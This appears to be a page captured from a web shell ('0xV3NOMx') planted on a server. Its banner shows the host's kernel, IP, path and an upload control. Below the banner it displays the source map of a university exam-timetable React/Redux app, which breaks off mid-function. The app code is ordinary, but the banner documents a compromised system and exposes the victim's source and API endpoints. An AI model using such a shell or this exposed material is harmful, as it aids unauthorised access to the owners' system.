0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.188.218.134


Current Path : /var/www/egov/build/static/js/
Upload File :
Current File : /var/www/egov/build/static/js/8.4740de2c.chunk.js.map

{"version":3,"sources":["pages/common/SelectDeggrp.js","actions/before-exam/timetable.js","pages/before-exam/timetable/report.js","pages/common/todayDate.js"],"names":["SelectDeggrp","_Component","_classCallCheck","this","_possibleConstructorReturn","_getPrototypeOf","apply","arguments","_inherits","_createClass","key","value","props","fetchDegGrp","prevProps","user","deggroup_options","deggrp","map","el","i","fdeggrp","text","concat","fdescpn","React","createElement","Form","Field","width","Dropdown","size","error","dgerror","fluid","search","selection","frmDeggrp","onChange","changeDeggrp","placeholder","disabled","openOnFocus","options","selectOnBlur","Component","connect","state","_regeneratorRuntime","e","t","r","Object","prototype","n","hasOwnProperty","o","defineProperty","Symbol","a","iterator","c","asyncIterator","u","toStringTag","define","enumerable","configurable","writable","wrap","Generator","create","Context","makeInvokeMethod","tryCatch","type","arg","call","h","l","f","s","y","GeneratorFunction","GeneratorFunctionPrototype","p","d","getPrototypeOf","v","values","g","defineIteratorMethods","forEach","_invoke","AsyncIterator","invoke","resolve","__await","then","callInvokeWithMethodAndArg","Error","done","method","delegate","maybeInvokeDelegate","sent","_sent","dispatchException","abrupt","return","TypeError","resultName","next","nextLoc","pushTryEntry","tryLoc","catchLoc","finallyLoc","afterLoc","tryEntries","push","resetTryEntry","completion","reset","isNaN","length","displayName","isGeneratorFunction","constructor","name","mark","setPrototypeOf","__proto__","awrap","async","Promise","keys","reverse","pop","prev","charAt","slice","stop","rval","handle","complete","finish","catch","delegateYield","generateTimetable","frmvalues","_ref","_asyncToGenerator","_callee","dispatch","getState","response","_context","univadmin","post","univ","funivcode","data","payload","error_code","msg","status","_x","_x2","getupdateTimetable","_ref2","_callee2","_error","_context2","_objectSpread","fexamrange","fyear","fexamtype","fexamdate","fdegree","header","content","showError","_x3","_x4","loaddegreettm","_ref3","_callee3","_error2","_context3","get","params","univcode","_x5","_x6","saveExamtimetable","timetable","parameters","_ref4","_callee4","_error3","_context4","_x7","_x8","saveExamtimetableUT","_ref5","_callee5","_error4","_context5","_x9","_x10","releaseTimeTable","_ref6","_callee6","_context6","_x11","_x12","cancelTimetable","getfreezeTimetable","frz","_ref7","_callee7","_context7","dgp","year","examtype","examrange","fcurtype","_x13","_x14","changefreezetimetable","changereleasetimetable","freezetimetable","stt","_ref8","_callee8","_context8","fname","tabledata","freezeTimeTable","frzarr","_x15","_x16","selectallchkbx","check","selectallchkbxrelease","getreleaseTimetable","_ref9","_callee9","_context9","_x17","_x18","releasetimetable","_ref10","_callee10","_error5","_context10","relarr","_x19","_x20","ReportTimeTable","_getPrototypeOf2","_this","_len","args","Array","_key","deggrpError","frtype","frtypes","fexamrangeError","frtypeError","ferror","ferrorm","rftype","emptydates","fdegfrom","fdegto","eltype","filter","setState","handleChange","_defineProperty","generateReport","_this$state","window","open","ReportAPI","ignore","changecheckempty","checked","_toConsumableArray","_this2","_this$state2","report_options","Modal","style","maxHeight","dimmer","dim","onClose","close","closeOnDimmerClick","Header","display","className","Button","basic","color","onClick","icon","Content","height","overflowY","Message","Group","Input","label","readOnly","marginTop","Checkbox","inline","control","Radio","getToday","today","Date","dd","getDate","mm","getMonth","yyyy","getFullYear"],"mappings":"iMAKMA,EAAY,SAAAC,GAAA,SAAAD,IAAA,OAAAE,YAAAC,KAAAH,GAAAI,YAAAD,KAAAE,YAAAL,GAAAM,MAAAH,KAAAI,YA0Cf,OA1CeC,YAAAR,EAAAC,GAAAQ,YAAAT,EAAA,EAAAU,IAAA,oBAAAC,MAAA,WAEdR,KAAKS,MAAMC,gBACZ,CAAAH,IAAA,qBAAAC,MAAA,SAEkBG,GACbX,KAAKS,MAAMG,OAASD,EAAUC,MAChCZ,KAAKS,MAAMC,gBAEd,CAAAH,IAAA,SAAAC,MAAA,WAGC,IAEIK,EAFab,KAAKS,MAAM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J,EAAMK,WAAa,EACxBC,EAAON,EAAMO,cAWjB,OATIL,EAAK,KACPA,EAAK,IAAMA,GAGTE,EAAK,KACPA,EAAK,IAAMA,GAGbJ,EAAQE,EAAK,IAAME,EAAK,IAAME","file":"static/js/8.4740de2c.chunk.js","sourcesContent":["import React, { Component } from \"react\";\r\nimport { connect } from \"react-redux\";\r\nimport { Form, Dropdown } from \"semantic-ui-react\";\r\nimport { fetchDegGrp } from \"../../actions\";\r\n\r\nclass SelectDeggrp extends Component {\r\n  componentDidMount() {\r\n    this.props.fetchDegGrp();\r\n  }\r\n\r\n  componentDidUpdate(prevProps) {\r\n    if (this.props.user !== prevProps.user) {\r\n      this.props.fetchDegGrp();\r\n    }\r\n  }\r\n\r\n  render() {\r\n    const deggroup = this.props.deggrp;\r\n\r\n    var deggroup_options = deggroup.map((el, i) => {\r\n      return {\r\n        key: i,\r\n        value: el.fdeggrp,\r\n        text: `${el.fdeggrp} - ${el.fdescpn}`,\r\n      };\r\n    });\r\n\r\n    return (\r\n      <Form.Field width=\"16\">\r\n        <label>Degree Group</label>\r\n        <Dropdown\r\n          size=\"mini\"\r\n          error={this.props.dgerror}\r\n          fluid\r\n          search\r\n          selection\r\n          value={this.props.frmDeggrp}\r\n          onChange={this.props.changeDeggrp}\r\n          placeholder=\"Select Degree Group\"\r\n          disabled={this.props.disabled}\r\n          openOnFocus={false}\r\n          options={deggroup_options}\r\n          selectOnBlur={false}\r\n          // searchInput={{ autoFocus: true }}\r\n        />\r\n      </Form.Field>\r\n    );\r\n  }\r\n}\r\n\r\nconst mapStateToProps = (state) => {\r\n  return {\r\n    deggrp: state.deggrp,\r\n    user: state.user,\r\n  };\r\n};\r\n\r\nexport default connect(mapStateToProps, { fetchDegGrp })(SelectDeggrp);\r\n","import univadmin from \"../../apis/univadmin\";\r\nimport { showError } from \"../index\";\r\n\r\nexport const generateTimetable = (frmvalues) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n\r\n    const response = await univadmin.post(\r\n      \"/app.php?a=generateExamTimetable&univcode=\" + state.univ.funivcode,\r\n      {\r\n        data: {\r\n          frmvalues: frmvalues,\r\n        },\r\n      }\r\n    );\r\n\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const data = {\r\n        error_code: -1,\r\n        data: { msg: \"Something went wrong\" },\r\n        status: \"failure\",\r\n      };\r\n      dispatch({\r\n        type: \"SET_ERROR\",\r\n        payload: data,\r\n      });\r\n    } else {\r\n      dispatch({\r\n        type: \"SET_ERROR\",\r\n        payload: response.data,\r\n      });\r\n    }\r\n  };\r\n};\r\n\r\nexport const getupdateTimetable = (frmvalues) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n    dispatch({\r\n      type: \"CANCEL_TIMETABLE\",\r\n    });\r\n\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n\r\n    // const response = await univadmin.post(\r\n    //   \"/app.php?a=getupdateTimetable&univcode=\" + state.univ.funivcode,\r\n    //   {\r\n    //     data: {\r\n    //       frmvalues: {\r\n    //         ...state.user,\r\n    //         fexamrange: frmvalues.fexamrange,\r\n    //         fdeggrp: frmvalues.fdeggrp,\r\n    //         fyear: frmvalues.fyear,\r\n    //         fexamtype: frmvalues.fexmtype,\r\n    //         fexamdate: frmvalues.fexamdate,\r\n    //       },\r\n    //     },\r\n    //   }\r\n    // );\r\n\r\n    const response = await univadmin.post(\r\n      \"/app.php?a=getupdateTimetableUT&univcode=\" + state.univ.funivcode,\r\n      {\r\n        data: {\r\n          frmvalues: {\r\n            ...state.user,\r\n            fexamrange: frmvalues.fexamrange,\r\n            fdeggrp: frmvalues.fdeggrp,\r\n            fyear: frmvalues.fyear,\r\n            fexamtype: frmvalues.fexamtype,\r\n            fexamdate: frmvalues.fexamdate,\r\n            fdegree: frmvalues.fdegree,\r\n          },\r\n        },\r\n      }\r\n    );\r\n\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const error = {\r\n        header: \"Error\",\r\n        content: \"Something went wrong\",\r\n      };\r\n      dispatch(showError(error));\r\n    } else if (response.data.error_code === -1) {\r\n      const error = {\r\n        header: \"Error\",\r\n        content: response.data.data.msg,\r\n      };\r\n      dispatch(showError(error));\r\n    } else {\r\n      dispatch({\r\n        type: \"GENERATE_TIMETABLE\",\r\n        payload: response.data,\r\n      });\r\n    }\r\n  };\r\n};\r\n\r\nexport const loaddegreettm = (deggrp) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n\r\n    dispatch({\r\n      type: \"DEL_FETCH_DEGREES_TTM\",\r\n    });\r\n\r\n    const response = await univadmin.get(\"/app.php\", {\r\n      params: {\r\n        a: \"getdegreettm\",\r\n        univcode: state.univ.funivcode,\r\n        deggrp: deggrp,\r\n      },\r\n    });\r\n\r\n    // const response = await univadmin.post(\r\n    //   \"/app.php?a=getdegreettm&univcode=\" +\r\n    //     state.univ.funivcode +\r\n    //     \"&deggrp=\" +\r\n    //     deggrp\r\n    // );\r\n\r\n    // return;\r\n\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const error = {\r\n        header: \"Error\",\r\n        content: \"Something went wrong\",\r\n      };\r\n      dispatch(showError(error));\r\n    } else if (response.data.error_code === -1) {\r\n      const error = {\r\n        header: \"Error\",\r\n        content: response.data.data.msg,\r\n      };\r\n      dispatch(showError(error));\r\n    } else {\r\n      dispatch({\r\n        type: \"FETCH_DEGREES_TTM\",\r\n        payload: response.data,\r\n      });\r\n    }\r\n  };\r\n};\r\n\r\nexport const saveExamtimetable = (timetable, parameters) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n    // const timetable = state.timetable.toJS();\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n    const response = await univadmin.post(\r\n      \"/app.php?a=saveExamTimetable&univcode=\" + state.univ.funivcode,\r\n      {\r\n        data: {\r\n          timetable: timetable,\r\n          params: parameters,\r\n          user: state.user,\r\n        },\r\n      }\r\n    );\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const error = {\r\n        header: \"Error\",\r\n        content: \"Something went wrong\",\r\n      };\r\n      dispatch(showError(error));\r\n    } else {\r\n      const error = {\r\n        header: \"Success\",\r\n        content: response.data.data.msg,\r\n      };\r\n      dispatch(showError(error));\r\n    }\r\n  };\r\n};\r\n\r\nexport const saveExamtimetableUT = (timetable, parameters) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n    // const timetable = state.timetable.toJS();\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n    const response = await univadmin.post(\r\n      \"/app.php?a=saveExamTimetableUT&univcode=\" + state.univ.funivcode,\r\n      {\r\n        data: {\r\n          timetable: timetable,\r\n          params: parameters,\r\n          user: state.user,\r\n        },\r\n      }\r\n    );\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const error = {\r\n        header: \"Error\",\r\n        content: \"Something went wrong\",\r\n      };\r\n      dispatch(showError(error));\r\n    } else {\r\n      const error = {\r\n        header: \"Success\",\r\n        content: response.data.data.msg,\r\n      };\r\n      dispatch(showError(error));\r\n    }\r\n  };\r\n};\r\n\r\nexport const releaseTimeTable = (parameters) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n    // const timetable = state.timetable.toJS();\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n    const response = await univadmin.post(\r\n      \"/app.php?a=releaseExamTimetable&univcode=\" + state.univ.funivcode,\r\n      {\r\n        data: {\r\n          params: parameters,\r\n        },\r\n      }\r\n    );\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const data = {\r\n        error_code: -1,\r\n        data: { msg: \"Something went wrong\" },\r\n        status: \"failure\",\r\n      };\r\n      dispatch({\r\n        type: \"SET_ERROR\",\r\n        payload: data,\r\n      });\r\n    } else {\r\n      dispatch({\r\n        type: \"SET_ERROR\",\r\n        payload: response.data,\r\n      });\r\n    }\r\n  };\r\n};\r\n\r\nexport const cancelTimetable = () => {\r\n  return {\r\n    type: \"CANCEL_TIMETABLE\",\r\n  };\r\n};\r\n\r\nexport const getfreezeTimetable = (frz) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n    const fdeggrp = state.user.fdeggrp;\r\n\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n    dispatch({\r\n      type: \"CLEAR_FREEZE_TIME_TABLE\",\r\n    });\r\n\r\n    const response = await univadmin.get(\"/app.php\", {\r\n      params: {\r\n        a: \"getfreezeTimetable\",\r\n        univcode: state.univ.funivcode,\r\n        dgp: frz.fdeggrp,\r\n        year: frz.fyear,\r\n        examtype: frz.fexamtype,\r\n        examrange: frz.fexamrange,\r\n        fcurtype: state.user.fcurtype,\r\n      },\r\n    });\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const data = {\r\n        error_code: -1,\r\n        data: { msg: \"Something went wrong\" },\r\n        status: \"failure\",\r\n      };\r\n      dispatch({\r\n        type: \"SET_ERROR\",\r\n        payload: data,\r\n      });\r\n    } else if (response.data.error_code === 0) {\r\n      dispatch({\r\n        type: \"GET_FREEZE_TIME_TABLE\",\r\n        payload: response.data,\r\n      });\r\n    } else if (response.data.error_code === -1) {\r\n      const error = {\r\n        header: \"Error\",\r\n        content: \"No data found for selected Exam Range..!\",\r\n      };\r\n      dispatch(showError(error));\r\n      return -1;\r\n    }\r\n  };\r\n};\r\n\r\nexport const changefreezetimetable = (el, i) => {\r\n  return {\r\n    type: \"GET_FREEZE_TIME_TABLE_CHANGE\",\r\n    payload: { el, i },\r\n  };\r\n};\r\nexport const changereleasetimetable = (el, i) => {\r\n  return {\r\n    type: \"GET_RELEASE_TIME_TABLE_CHANGE\",\r\n    payload: { el, i },\r\n  };\r\n};\r\n\r\nexport const freezetimetable = (stt) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n    const fdeggrp = state.user.fdeggrp;\r\n\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    const response = await univadmin.post(\r\n      \"/app.php?a=freezetimetable&univcode=\" + state.univ.funivcode,\r\n      {\r\n        data: {\r\n          dgp: stt.fdeggrp,\r\n          year: stt.fyear,\r\n          examtype: stt.fexamtype,\r\n          examrange: stt.fexamrange,\r\n          user: state.user.fname,\r\n          tabledata: state.freezeTimeTable.frzarr,\r\n        },\r\n      }\r\n    );\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const data = {\r\n        error_code: -1,\r\n        data: { msg: \"Something went wrong\" },\r\n        status: \"failure\",\r\n      };\r\n      dispatch({\r\n        type: \"SET_ERROR\",\r\n        payload: data,\r\n      });\r\n    } else if (response.data.error_code === 0) {\r\n      const error = { header: \"Success\", content: response.data.data.msg };\r\n      dispatch(showError(error));\r\n    }\r\n  };\r\n};\r\n\r\nexport const selectallchkbx = (check) => {\r\n  return {\r\n    type: \"FREEZE_SELECT_ALL_CHECKBOX\",\r\n    payload: check,\r\n  };\r\n};\r\n\r\nexport const selectallchkbxrelease = (check) => {\r\n  return {\r\n    type: \"RELEASE_SELECT_ALL_CHECKBOX\",\r\n    payload: check,\r\n  };\r\n};\r\n\r\nexport const getreleaseTimetable = (frz) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n    const fdeggrp = state.user.fdeggrp;\r\n\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n    dispatch({\r\n      type: \"CLEAR_RELEASE_TIME_TABLE\",\r\n    });\r\n\r\n    const response = await univadmin.get(\"/app.php\", {\r\n      params: {\r\n        a: \"getreleaseTimetable\",\r\n        univcode: state.univ.funivcode,\r\n        dgp: frz.fdeggrp,\r\n        year: frz.fyear,\r\n        examtype: frz.fexamtype,\r\n        examrange: frz.fexamrange,\r\n      },\r\n    });\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const data = {\r\n        error_code: -1,\r\n        data: { msg: \"Something went wrong\" },\r\n        status: \"failure\",\r\n      };\r\n      dispatch({\r\n        type: \"SET_ERROR\",\r\n        payload: data,\r\n      });\r\n    } else if (response.data.error_code === 0) {\r\n      dispatch({\r\n        type: \"GET_RELEASE_TIME_TABLE\",\r\n        payload: response.data,\r\n      });\r\n    } else if (response.data.error_code === -1) {\r\n      const error = {\r\n        header: \"Error\",\r\n        content: \"No data found for selected Exam Range..! / Freezing Not Done\",\r\n      };\r\n      dispatch(showError(error));\r\n      return -1;\r\n    }\r\n  };\r\n};\r\n\r\nexport const releasetimetable = (stt) => {\r\n  return async function (dispatch, getState) {\r\n    const state = getState();\r\n\r\n    const fdeggrp = state.user.fdeggrp;\r\n\r\n    dispatch({\r\n      type: \"SET_LOADER\",\r\n    });\r\n\r\n    dispatch({\r\n      type: \"UNSET_LOADER\",\r\n    });\r\n\r\n    const response = await univadmin.post(\r\n      \"/app.php?a=releasetimetable&univcode=\" + state.univ.funivcode,\r\n      {\r\n        data: {\r\n          dgp: stt.fdeggrp,\r\n          year: stt.fyear,\r\n          examtype: stt.fexamtype,\r\n          examrange: stt.fexamrange,\r\n          user: state.user.fname,\r\n          tabledata: state.releaseTimeTable.relarr,\r\n        },\r\n      }\r\n    );\r\n\r\n    if (typeof response.data !== \"object\") {\r\n      const data = {\r\n        error_code: -1,\r\n        data: { msg: \"Something went wrong\" },\r\n        status: \"failure\",\r\n      };\r\n      dispatch({\r\n        type: \"SET_ERROR\",\r\n        payload: data,\r\n      });\r\n    } else if (response.data.error_code === 0) {\r\n      const error = { header: \"Success\", content: response.data.data.msg };\r\n      dispatch(showError(error));\r\n    } else if (response.data.error_code === -1) {\r\n      const error = { header: \"Error\", content: response.data.data.msg };\r\n      dispatch(showError(error));\r\n    }\r\n  };\r\n};\r\n","import React, { Component } from \"react\";\r\nimport {\r\n  Button,\r\n  Modal,\r\n  Form,\r\n  Message,\r\n  Dropdown,\r\n  Radio,\r\n  Checkbox,\r\n} from \"semantic-ui-react\";\r\nimport { connect } from \"react-redux\";\r\nimport SelectDeggrp from \"../../common/SelectDeggrp\";\r\nimport { ReportAPI } from \"../../../apis/consts\";\r\n\r\nclass ReportTimeTable extends Component {\r\n  state = {\r\n    deggrp: [],\r\n    fdeggrp: \"\",\r\n    fyear: \"\",\r\n    fexamtype: \"\",\r\n    fexamdate: \"\",\r\n    fexamrange: \"ABCDEF\",\r\n    deggrpError: false,\r\n    frtype: \"QP Code Wise\",\r\n    frtypes: [\"Error Report\", \"QP Code Wise\", \"Degree Wise\"],\r\n    fexamrangeError: false,\r\n    frtypeError: false,\r\n    ferror: false,\r\n    ferrorm: \"\",\r\n    rftype: \"PDF Format\",\r\n    emptydates: false,\r\n    fdegfrom: \"0\",\r\n    fdegto: \"ZZZZ\",\r\n    eltype: \"All\",\r\n  };\r\n\r\n  componentDidMount() {\r\n    this.setState({ deggrp: this.props.deggrp });\r\n  }\r\n\r\n  componentDidUpdate(prevProps) {\r\n    if (this.props.deggrp !== prevProps.deggrp) {\r\n      this.setState({ deggrp: [...this.props.deggrp] });\r\n    }\r\n  }\r\n\r\n  changeDeggrp = (e, data) => {\r\n    let deggrpsel = this.state.deggrp.filter(\r\n      (el, i) => el.fdeggrp === data.value\r\n    );\r\n\r\n    let deggrp = deggrpsel[0];\r\n\r\n    this.setState({\r\n      fyear: deggrp.fyear,\r\n      fexamtype: deggrp.fexamtype,\r\n      fexamdate: deggrp.fexamdate,\r\n      fdeggrp: deggrp.fdeggrp,\r\n    });\r\n  };\r\n\r\n  handleChange = (e, data) => {\r\n    this.setState({ [data.name]: data.value });\r\n  };\r\n\r\n  generateReport = () => {\r\n    const {\r\n      fdeggrp,\r\n      fexamrange,\r\n      frtype,\r\n      rftype,\r\n      emptydates,\r\n      fdegfrom,\r\n      fdegto,\r\n      eltype,\r\n    } = this.state;\r\n\r\n    if (fdeggrp == \"\") {\r\n      this.setState({\r\n        deggrpError: true,\r\n        ferror: true,\r\n        ferrorm: \"Degree Group required.\",\r\n      });\r\n      return;\r\n    } else {\r\n      this.setState({ deggrpError: false, ferror: false, ferrorm: \"\" });\r\n    }\r\n\r\n    if (fexamrange == \"\") {\r\n      this.setState({\r\n        fexamrangeError: true,\r\n        ferror: true,\r\n        ferrorm: \"Exam Range required.\",\r\n      });\r\n      return;\r\n    } else {\r\n      this.setState({ fexamrangeError: false, ferror: false, ferrorm: \"\" });\r\n    }\r\n\r\n    if (frtype == \"\") {\r\n      this.setState({\r\n        frtypeError: true,\r\n        ferror: true,\r\n        ferrorm: \"Report Type required.\",\r\n      });\r\n      return;\r\n    } else {\r\n      this.setState({ frtypeError: false, ferror: false, ferrorm: \"\" });\r\n    }\r\n\r\n    if (frtype === \"Error Report\")\r\n      window.open(\r\n        ReportAPI +\r\n          \"GenerateExamTimetableError&deggrp=\" +\r\n          this.state.fdeggrp +\r\n          \"&univcode=\" +\r\n          this.props.univ.funivcode +\r\n          \"&examrange=\" +\r\n          this.state.fexamrange,\r\n        \"_blank\"\r\n      );\r\n    else if (frtype === \"Degree Wise\") {\r\n      let ignore = emptydates ? \"T\" : \"F\";\r\n      if (rftype == \"Excel Format\") {\r\n        window.open(\r\n          ReportAPI +\r\n            \"examTimeTableDegreeWiseExcel&deggrp=\" +\r\n            this.state.fdeggrp +\r\n            \"&univcode=\" +\r\n            this.props.univ.funivcode +\r\n            \"&ignorett=\" +\r\n            ignore +\r\n            \"&fdegfrom=\" +\r\n            fdegfrom +\r\n            \"&fdegto=\" +\r\n            fdegto +\r\n            \"&examrange=\" +\r\n            this.state.fexamrange +\r\n            \"&eltype=\" +\r\n            eltype,\r\n          \"_blank\"\r\n        );\r\n      } else {\r\n        window.open(\r\n          ReportAPI +\r\n            \"GenerateDGExamTimetable&deggrp=\" +\r\n            this.state.fdeggrp +\r\n            \"&univcode=\" +\r\n            this.props.univ.funivcode +\r\n            \"&ignorett=\" +\r\n            ignore +\r\n            \"&fdegfrom=\" +\r\n            fdegfrom +\r\n            \"&fdegto=\" +\r\n            fdegto +\r\n            \"&examrange=\" +\r\n            this.state.fexamrange +\r\n            \"&eltype=\" +\r\n            eltype,\r\n          \"_blank\"\r\n        );\r\n      }\r\n    } else if (frtype === \"QP Code Wise\") {\r\n      if (rftype == \"Excel Format\") {\r\n        window.open(\r\n          ReportAPI +\r\n            \"examTimeTableQPWiseReportExcel&deggrp=\" +\r\n            this.state.fdeggrp +\r\n            \"&univcode=\" +\r\n            this.props.univ.funivcode +\r\n            \"&examrange=\" +\r\n            this.state.fexamrange,\r\n          \"_blank\"\r\n        );\r\n      } else {\r\n        window.open(\r\n          ReportAPI +\r\n            \"GenerateQPExamTimetable&deggrp=\" +\r\n            this.state.fdeggrp +\r\n            \"&univcode=\" +\r\n            this.props.univ.funivcode +\r\n            \"&examrange=\" +\r\n            this.state.fexamrange,\r\n          \"_blank\"\r\n        );\r\n      }\r\n    }\r\n  };\r\n\r\n  changecheckempty = (e, data) => {\r\n    this.setState({ emptydates: data.checked });\r\n  };\r\n\r\n  render() {\r\n    const {\r\n      fdeggrp,\r\n      fyear,\r\n      fexamtype,\r\n      fexamdate,\r\n      fexamrange,\r\n      frtype,\r\n      frtypes,\r\n      deggrpError,\r\n      fexamrangeError,\r\n      frtypeError,\r\n      ferror,\r\n      ferrorm,\r\n      rftype,\r\n      emptydates,\r\n      fdegfrom,\r\n      fdegto,\r\n      eltype,\r\n    } = this.state;\r\n\r\n    const type_options = [\r\n      { key: \"All\", value: \"All\", text: \"All\" },\r\n      { key: \"All\", value: \"openelective\", text: \"Open Elective\" },\r\n      {\r\n        key: \"All\",\r\n        value: \"withoutopenelective\",\r\n        text: \"Without Open Elective\",\r\n      },\r\n    ];\r\n\r\n    const report_options = frtypes.map((el, i) => {\r\n      return { key: i, value: el, text: el };\r\n    });\r\n    return (\r\n      <div>\r\n        {/* <Modal style={{ height: \"50%\", top: \"28%\", left: \"28%\", width: \"50%\" }} */}\r\n        <Modal\r\n          style={{ maxHeight: \"60%\", width: \"50%\" }}\r\n          dimmer={this.props.dim}\r\n          open={this.props.open}\r\n          onClose={this.props.close}\r\n          closeOnDimmerClick={false}\r\n        >\r\n          <Modal.Header style={{ display: \"flex\" }}>\r\n            Time Table Report\r\n            <div className=\"ml-auto\">\r\n              <Button\r\n                basic\r\n                color=\"blue\"\r\n                content=\"Generate\"\r\n                onClick={this.generateReport}\r\n                icon=\"file pdf outline\"\r\n              />\r\n              <Button\r\n                basic\r\n                color=\"black\"\r\n                icon=\"ban\"\r\n                onClick={this.props.close}\r\n                content=\"Cancel\"\r\n              />\r\n            </div>\r\n          </Modal.Header>\r\n\r\n          <Modal.Content style={{ height: \"50vh\", overflowY: \"auto\" }}>\r\n            <Form error>\r\n              {ferror ? <Message error content={ferrorm} /> : null}\r\n              <SelectDeggrp\r\n                changeDeggrp={this.changeDeggrp}\r\n                frmDeggrp={fdeggrp}\r\n                dgerror={deggrpError}\r\n              />\r\n              <Form.Group>\r\n                <Form.Input\r\n                  placeholder=\"Exam Year\"\r\n                  value={fyear}\r\n                  width={4}\r\n                  label=\"Exam Year\"\r\n                  readOnly\r\n                />\r\n                <Form.Input\r\n                  placeholder=\"Exam Type\"\r\n                  value={fexamtype}\r\n                  width={3}\r\n                  label=\"Exam Type\"\r\n                  readOnly\r\n                />\r\n                <Form.Input\r\n                  placeholder=\"Exam Date\"\r\n                  label=\"Exam Date\"\r\n                  width={10}\r\n                  value={fexamdate}\r\n                  readOnly\r\n                />\r\n              </Form.Group>\r\n              <label>\r\n                <b>Report Type</b>\r\n              </label>\r\n              <Dropdown\r\n                size=\"mini\"\r\n                fluid\r\n                search\r\n                selection\r\n                name=\"frtype\"\r\n                value={frtype}\r\n                onChange={this.handleChange}\r\n                placeholder=\"Report Type\"\r\n                label=\"Report Type\"\r\n                error={frtypeError}\r\n                options={report_options}\r\n              />\r\n              {frtype == \"Degree Wise\" ? (\r\n                <Form.Group style={{ marginTop: \"10px\" }}>\r\n                  <Form.Input\r\n                    placeholder=\"From\"\r\n                    error={false}\r\n                    width={5}\r\n                    onChange={this.handleChange}\r\n                    value={fdegfrom}\r\n                    name=\"fdegfrom\"\r\n                    label=\"Degree Range\"\r\n                    error={fexamrangeError}\r\n                  />\r\n\r\n                  <Form.Input\r\n                    placeholder=\"To\"\r\n                    error={false}\r\n                    width={5}\r\n                    onChange={this.handleChange}\r\n                    value={fdegto}\r\n                    name=\"fdegto\"\r\n                    style={{ marginTop: \"22px\" }}\r\n                    error={fexamrangeError}\r\n                  />\r\n                </Form.Group>\r\n              ) : null}\r\n\r\n              <Form.Group>\r\n                <Form.Input\r\n                  placeholder=\"Exam Range\"\r\n                  error={false}\r\n                  width={5}\r\n                  onChange={this.handleChange}\r\n                  value={fexamrange}\r\n                  name=\"fexamrange\"\r\n                  label=\"Exam Range\"\r\n                  error={fexamrangeError}\r\n                />\r\n              </Form.Group>\r\n              {frtype == \"Degree Wise\" ? (\r\n                <Form.Field width=\"8\">\r\n                  <label>\r\n                    <b>Type</b>\r\n                  </label>\r\n                  <Dropdown\r\n                    size=\"mini\"\r\n                    fluid\r\n                    search\r\n                    selection\r\n                    name=\"eltype\"\r\n                    value={eltype}\r\n                    onChange={this.handleChange}\r\n                    placeholder=\"Report Type\"\r\n                    label=\"Type\"\r\n                    error={frtypeError}\r\n                    options={type_options}\r\n                  />\r\n                </Form.Field>\r\n              ) : null}\r\n              {/* <div className=\"ui checkbox\">\r\n                <label> Neglect empty Dates </label>\r\n                <input\r\n                  type=\"checkbox\"\r\n                  name=\"emptydates\"\r\n                  value={emptydates}\r\n                  onChange={(e) => this.changecheckempty(e)}\r\n                  checked={\"checked\"}\r\n                />\r\n              </div> */}\r\n              {frtype == \"Degree Wise\" ? (\r\n                <Checkbox\r\n                  onChange={(e, data) => this.changecheckempty(e, data)}\r\n                  value={emptydates}\r\n                  checked={emptydates}\r\n                  label=\"Ignore empty Dates\"\r\n                />\r\n              ) : null}\r\n              <Form.Group inline>\r\n                <Form.Field\r\n                  control={Radio}\r\n                  name=\"rftype\"\r\n                  label=\"PDF\"\r\n                  value=\"PDF Format\"\r\n                  checked={rftype === \"PDF Format\"}\r\n                  onChange={this.handleChange}\r\n                />\r\n                <Form.Field\r\n                  control={Radio}\r\n                  name=\"rftype\"\r\n                  label=\"EXCEL\"\r\n                  value=\"Excel Format\"\r\n                  checked={rftype === \"Excel Format\"}\r\n                  onChange={this.handleChange}\r\n                />\r\n              </Form.Group>\r\n            </Form>\r\n          </Modal.Content>\r\n        </Modal>\r\n      </div>\r\n    );\r\n  }\r\n}\r\n\r\nconst mapStateToProps = (state) => {\r\n  return {\r\n    deggrp: state.deggrp,\r\n    univ: state.univ,\r\n  };\r\n};\r\n\r\nexport default connect(mapStateToProps, {})(ReportTimeTable);\r\n\r\n// export default ReportTimeTable\r\n","\r\nfunction getToday() {\r\n  var today = new Date();\r\n  var dd = today.getDate();\r\n  var mm = 